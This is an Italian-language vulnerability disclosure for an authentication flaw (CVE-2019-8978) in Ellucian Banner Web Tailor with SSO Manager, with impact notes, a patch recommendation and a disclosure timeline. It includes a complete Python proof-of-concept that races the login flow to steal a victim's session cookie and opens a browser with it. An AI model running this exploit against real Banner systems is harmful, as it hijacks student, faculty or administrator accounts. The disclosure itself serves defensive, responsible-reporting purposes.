
Banner Web Tailor e Banner Enterprise Identity Services: Divulgazione di vulnerabilità
Autore: Katie Mulliken [email protected]
Ringraziamenti: Carnegie Mellon University CERT Coordination Center
Sommario Esecutivo
Prodotto
Impatto e Raccomandazioni
a. Impatto
b. Raccomandazioni
Dettagli Tecnici
a. Descrizione Tecnica
b. Codice Exploit
Tempistica della Divulgazione
Riferimenti
È stata identificata una vulnerabilità di autenticazione impropria (CWE-287) in Banner Web Tailor e Banner Enterprise Identity Services. Questa vulnerabilità si verifica quando SSO Manager viene utilizzato come meccanismo di autenticazione per Web Tailor, e potrebbe portare alla divulgazione di informazioni e alla perdita di integrità dei dati per gli utenti interessati. Il fornitore ha verificato la vulnerabilità e ha prodotto una patch ora disponibile. Per maggiori informazioni vedere i post su Ellucian Communities: [LINK NON FORNITO PRIMA DELLA SCADENZA] e Banner Enterprise Identity Services: [LINK NON FORNITO PRIMA DELLA SCADENZA]. AGGIORNAMENTO: Ecco il link alla sezione IAM: https://ecommunities.ellucian.com/message/252749#252749 E questo è il link alla comunicazione sulla vulnerabilità di Banner Web Tailor e SSO Manager pubblicata nello spazio Banner General & Banner Technical Community - https://ecommunities.ellucian.com/message/252810#252810[1]
Banner Web Tailor è uno strumento web, realizzato per istituti di istruzione superiore, che fornisce funzionalità di registrazione, gestione del curriculum, consulenza, amministrazione e reportistica. Gli studenti possono accedere e modificare le proprie informazioni di registrazione, laurea e aiuti finanziari. I professori e gli insegnanti possono inserire i voti finali e gestire i propri corsi. Gli amministratori possono accedere e modificare le informazioni di studenti e insegnanti. È utilizzato da centinaia di istituti, molti dei quali hanno scelto di utilizzare il Single Sign-on Manager per partecipare a servizi di single sign-on basati su CAS e SAML. [2]
L'identificatore univoco di un utente, UDCID, viene divulgato tramite un cookie e potrebbe portare al compromissione dell'account se questo identificatore viene catturato o altrimenti conosciuto; nel caso testato, l'UDCID era noto come l'ID istituzionale stampato sulle carte d'identità. L'UDCID potrebbe essere utilizzato per sfruttare una condizione di competizione (race condition) che fornirebbe a un attaccante accesso non autorizzato. Per uno studente, l'attaccante potrebbe espellerlo dai corsi, rifiutare gli aiuti finanziari, modificare le sue informazioni personali, ecc. Per un professore, ciò potrebbe portare all'incapacità di gestire i propri corsi, permettere a uno studente malintenzionato di inserire voti finali falsi, ecc. Per un amministratore, un attaccante potrebbe modificare le informazioni degli utenti, mettere fermi fittizi sugli account degli studenti, ecc.
Le organizzazioni interessate dovrebbero aggiornare all'ultima versione. Ulteriori informazioni possono essere trovate nei post su Ellucian Communities: [LINK NON FORNITO PRIMA DELLA SCADENZA] e Banner Enterprise Identity Services: [LINK NON FORNITO PRIMA DELLA SCADENZA] AGGIORNAMENTO: Ecco il link alla sezione IAM: https://ecommunities.ellucian.com/message/252749#252749 E questo è il link alla comunicazione sulla vulnerabilità di Banner Web Tailor e SSO Manager pubblicata nello spazio Banner General & Banner Technical Community - https://ecommunities.ellucian.com/message/252810#252810. Si prega di utilizzare Ellucian Communities o contattare Ellucian tramite ActionLine per ottenere maggiori informazioni. Gli aggiornamenti a questa divulgazione saranno disponibili su GitHub: https://github.com/JoshuaMulliken/CVE-2019-8978
La vulnerabilità di autenticazione impropria può essere sfruttata attraverso una condizione di competizione (race condition) che si verifica in Ellucian Banner Web Tailor, in combinazione con SSO Manager. Questa vulnerabilità consente a un attaccante remoto di rubare la sessione di una vittima (e causare un denial of service) richiedendo ripetutamente la pagina iniziale di Banner Web Tailor con il cookie IDMSESSID impostato sull'UDCID della vittima, che nel caso testato è l'ID istituzionale. Durante un tentativo di login da parte della vittima, l'attaccante può sfruttare la race condition e riceverà il SESSID destinato a questa vittima. Per maggiori dettagli, vedere il codice proof of concept disponibile al link GitHub qui sotto.
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
18 dicembre 2018: Tentativo di segnalazione tramite il modulo web di marketing di Ellucian e invio a [email protected]
20 dicembre 2018: Segnalazione inviata al CERT Coordination Center della Carnegie Mellon University
2 gennaio 2019: Segnalazione inviata a un CISO di Ellucian scoperto tramite LinkedIn
2 gennaio 2019: Richieste informazioni sulla procedura di divulgazione responsabile all'Università della Carolina del Sud
3 gennaio 2019: Mi è stato detto di segnalare tramite ActionLine da Ellucian
4 gennaio 2019: L'Università della Carolina del Sud mi ha detto che non esiste una procedura per segnalare vulnerabilità
4 gennaio 2019: Ho detto all'Università della Carolina del Sud di aver scoperto una vulnerabilità in Banner
18 febbraio 2019: CERT mi ha informato del fallimento nel contattare il fornitore e mi ha consigliato di divulgare pubblicamente
25 febbraio 2019: Inviata bozza dell'avviso a Ellucian e fissata la data di divulgazione al 4 marzo.
28 febbraio 2019: Dimostrazione della vulnerabilità per Ellucian tramite conferenza Zoom
1 marzo 2019: L'Università della Carolina del Sud mi ha chiesto di ritardare la pubblicazione
21 marzo 2019: L'Università della Carolina del Sud ha ricevuto una patch backportata da Ellucian
26 marzo 2019: Ellucian ha finalizzato le patch per tutte le versioni
29 marzo 2019: Mi è stato detto da Ellucian che l'Università della Carolina del Sud avrebbe apportato modifiche il 1° aprile
1° aprile 2019: Richieste informazioni sullo stato della patch all'Università della Carolina del Sud
5 aprile 2019: L'Università della Carolina del Sud ha fornito una stima per il 30 aprile 2019
30 aprile 2019: L'Università della Carolina del Sud ha aggiornato la stima a metà maggio
7 maggio 2019: Data di pubblicazione della divulgazione fissata al 13 maggio
10 maggio 2019: L'Università della Carolina del Sud ha pubblicato un avviso di interruzione programmata per tutti i servizi Banner prevista per l'11 maggio
11 maggio 2019: L'Università della Carolina del Sud ha installato con successo la patch
13 maggio 2019: Divulgazione pubblicata